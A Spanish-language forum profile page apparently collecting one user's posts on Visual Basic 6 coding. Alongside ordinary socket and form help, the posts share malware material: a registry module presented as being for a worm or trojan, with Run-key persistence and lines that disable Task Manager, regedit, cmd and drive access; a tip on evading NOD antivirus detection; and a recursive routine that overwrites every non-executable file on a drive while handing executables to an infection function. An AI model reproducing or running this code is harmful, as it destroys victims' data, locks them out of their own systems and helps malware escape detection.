Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - carlitrosss6

#11
Debe de haber sòlo un cSocketmaster que sea el "maestro",voy a suponer que lo tienes en el form1,este deberìa de verse asì:


Public WithEvents wsk As cSocketmaster 'añade el public

Private Sub Form_Load()
Set wsk = New cSocketmaster
End Sub



En los demàs forms,no crearas un nuevo cSocketmaster,solo haras referencia al del form1 de esta forma:



Dim WithEvents wsk As cSocketmaster

Private Sub Form_Load()
Set wsk = Form1.wsk 'usamos el del form1,en vez de crear uno nuevo.
End Sub



Espero que te funcione!
#12
Suponiendo que tus forms se llamen Form1 y Form5 hice este codigo,tambien suponiendo que Form5 es la que se muestra primero.

Hecho a la carrera,como se puede ver jaja..

La primera ejecuciòn mostrarà el Form5,las demàs mostrarà el Form1:



Dim WSC As Object

Private Sub Form_load() 'form5
On Error GoTo error

Set WSC = CreateObject("wscript.shell") 'crea una instancia de wscript



'si setup es 0,modificala con 1 (aqui me tiraria error,porque la clave Setup aun no existe,entonces se salta a "error" mas abajo)
If WSC.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Setup") = "0" Then
WSC.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Setup", "1"
 End If

'si setup es 1,oculta esta ventana y muestra la form1
If WSC.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Setup") = "1" Then Me.Hide: Form1.Show

error:
'la primera ejecucion siempre te tira aca
WSC.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Setup", "0"

End Sub



Esa clave "Setup" fue la que se me ocurrio en el momento,puedes cambiar tanto la ruta como el nombre de la clave si asi lo deseas.

Espero que sea lo que buscabas  ;D
#13
Hola!

Querìa compartir algunas entradas del registro que hacen cosas curiosas y haran feliz a nuestro worm/virus/troyano  ;D

Antes que nada,el codigo para modificar una entrada en el registro (hay otras formas,pero esta me gusta):



'MODULO

'Constantes de tipos de datos
 Private m_lngRetVal As Long
 Private Const REG_SZ As Long = 1
 Private Const REG_BINARY As Long = 3
 Private Const REG_DWORD As Long = 4
 
'Constantes para las llaves
 Public Const HKEY_CLASSES_ROOT As Long = &H80000000
 Public Const HKEY_CURRENT_USER As Long = &H80000001
 Public Const HKEY_LOCAL_MACHINE As Long = &H80000002
 Public Const HKEY_USERS As Long = &H80000003
 
 'API
  Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal lngRootKey As Long) As Long
 
  Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
           (ByVal lngRootKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
 
  Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
           (ByVal lngRootKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
            ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long


'Esta es nuestra funciòn para crear/editar una entrada:

Public Sub RegC(ByVal lngRootKey As Long, ByVal strRegKeyPath As String, _
                              ByVal strRegSubKey As String, varRegData As Variant)
 Dim lngKeyHandle As Long
 Dim lngDataType As Long
 Dim lngKeyValue As Long
 Dim strKeyValue As String
 If IsNumeric(varRegData) Then
     lngDataType = REG_DWORD
 Else
     lngDataType = REG_SZ
 End If
 m_lngRetVal = RegCreateKey(lngRootKey, strRegKeyPath, lngKeyHandle)
 Select Case lngDataType
        Case REG_SZ:
             strKeyValue = Trim(varRegData) & Chr(0)     '
             m_lngRetVal = RegSetValueEx(lngKeyHandle, strRegSubKey, 0&, lngDataType, _
                                         ByVal strKeyValue, Len(strKeyValue))
                                 
        Case REG_DWORD:
             lngKeyValue = CLng(varRegData)
             m_lngRetVal = RegSetValueEx(lngKeyHandle, strRegSubKey, 0&, lngDataType, _
                                        lngKeyValue, 4&)
 End Select
 m_lngRetVal = RegCloseKey(lngKeyHandle)
End Sub



Un ejemplo para usar la funciòn :

RegC HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run","Hola","c:\Hola.exe"


Se creara/modificara la entrada Hola,con los datos "c:\hola.exe",en la ruta HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Ahora lo bueno:

Para ocultar el acceso al Panel de Control.
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\System,","NoDispCPL","1"


Para desaparecer el botòn de Apagar:
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,","NoClose","1"


Para dejar en blanco el escritorio(No iconos):
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,","NoDesktop","1"


Para restringir drives de Mi PC
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,","NoDrives","3"


Para esa funciòn,pueden cambiar el "3" por los sig. valores para resultados diferentes: "3" restringe acceso a las unidades A y B,"4" restringe C: (buenisimo),"7" restringe A,B y C,"F" de A hasta D.

Para desactivar el botòn Buscar:
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,","NoFind","1"


Para desactivar Opciones de Carpeta:
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,","NoFoldeOptions","1"


Para desactivar el boton Ejecutar:
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,","NoRun","1"


Para desactivar que se guarden los cambios al cerrar sesion :
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,","NoSaveSettings","1"


Para desactivar la modificaciòn del registro (regedit y regedt32) :
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\System,","DisableRegistryTools","1"


Para desactivar el admin. de tareas (taskmgr) :
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\System,","DisableTaskManager","1"


Para desactivar la consola (cmd) :
RegC HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\System,","DisableCMD","1"


Espero que les agrade  ;D
#14
Me dejò varios APIs en letras rojas :P

Por ejemplo esta  jeje

Private Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias _
    HXNEGLVR("¸š‹»–Œ"¹šš¬žœšº‡¾") (ByVal lpRootPathName As String, _
    lpFreeBytesAvailableToCaller As LARGE_INTEGER, lpTotalNumberOfBytes _
    As LARGE_INTEGER, lpTotalNumberOfFreeBytes As LARGE_INTEGER) As Long

fuera de esto es una joya tu soft,eso lo corregì rapidito.
#15
Hola!

Estoy haciendo un pequeño worm,la cosa es que todas las llamadas a funciones las tenìa en form_load y el NOD me hacia *****.

Cambie todo a form_initialize,y ya no detecta nada,pero aun no lo pruebo.

Cual es la diferencia? Busque en Google pero solo encontre cual es el orden de los eventos al ejecutarse la aplicaciòn.

Funciona igual con form_initialize? Gracias! ;D

EDIT: Ya lo probè en VMware y funciona igualito,pero quedo indetectable  ;D sigo sin saber cual es la diferencia..
#16
Antes de conectarlo,debes cerrar el socket.

Prueba poniendo primero CSocketMaster.Close    y despues pones CSocketMaster.Connect

Al menos asì funciona con el control Winsock  ;D
#17
Cheque el sitio,pero mejor me quede con una funcion que adapte de un VBS que tenia por ahi,para no agrandar mucho el codigo jojo...

Private Function DoSearch(Path as String)

On Error Resume Next

Dim i
Dim fso As Object
Dim Folder, Archivos, Archivo, Subfolders, Subfolder


i = FreeFile
set fso = CreateObject("scripting.filesystemobject")
Set Folder = fso.getfolder(path)
Set Archivos = Folder.Files

For Each Archivo In Archivos

If ext(archivo.path) = ".exe" Then

Violar(archivo.path)  ' funciòn mia..

Else

Open archivo.path For Output As #i
Print #i, "blah blah blah!"
Close #i
End If
Next

Set Subfolders = Folder.Subfolders
For Each Subfolder In Subfolders
DoSearch Subfolder.path
Next

End Function


Con esta funciòn fue suficiente,la probè en VMware y un simple DoSearch("c:\") terminò bastante mal jaja...

Gracias,se ve que hay muy buenos programadores por aqui!.
#18
Que pex.

Sòlo necesito saber como puedo hacer que todos los archivos del DD pasen por una variable (sName) uno por uno,para infectarlos o no,pero de eso me encargo yo.

Intente con algunos For y los controles DirListBox y FileListBox,pero no me resulta.

Alguna forma de hacer una busqueda completa de todos los archivos del DD,que no sea con  WSCRIPT?

Gracias!  ;D